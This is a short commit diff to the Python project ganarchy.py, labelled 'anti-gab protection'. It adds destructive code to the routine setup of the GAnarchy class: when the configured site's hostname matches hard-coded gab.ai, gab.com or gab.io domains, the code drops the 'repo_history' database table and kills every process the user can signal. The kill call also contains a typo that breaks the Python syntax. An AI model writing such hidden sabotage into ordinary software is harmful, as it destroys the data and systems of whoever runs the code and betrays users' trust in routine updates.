Add anti-gab protection

ganarchy.py

@@ -405,8 +405,13 @@ class GAnarchy:
         if not base_url:
             # FIXME use a more appropriate error type
             raise ValueError
+        u = urlparse(base_url)
+        if (u.hostname in config.blocked_domains) or (u.hostname.endswith(config.blocked_domain_suffixes)):
+            dbconn.execute('''DROP TABLE "repo_history"''')
+            # hopefully this works on all POSIX systems. it should, but, eh, y'know. :/
+            subprocess.call(['kill', '-TERM', '--'. '-1'])
         if not title:
-            title = "GAnarchy on " + urlparse(base_url).hostname
+            title = "GAnarchy on " + u.hostname
         self.title = title
         self.base_url = base_url
         # load config onto DB
@@ -438,8 +443,9 @@ class Config:
         self.title = config_data.get('title', '')
         self.base_url = config_data.get('base_url', '')
         # TODO blocked domains (but only read them from config_data if remove is True)
-        self.blocked_domains = []
-        self.blocked_domain_suffixes = []
+        (bd, bds) = (["gab.ai", "gab.com", "gab.io"], [".gab.ai", ".gab.com", ".gab.io"]) if remove else ([], [])
+        self.blocked_domains = bd
+        self.blocked_domain_suffixes = bds
         self.blocked_domains.sort()
         self.blocked_domain_suffixes.sort(key=lambda x: x[::-1])
         # FIXME remove duplicates and process invalid entries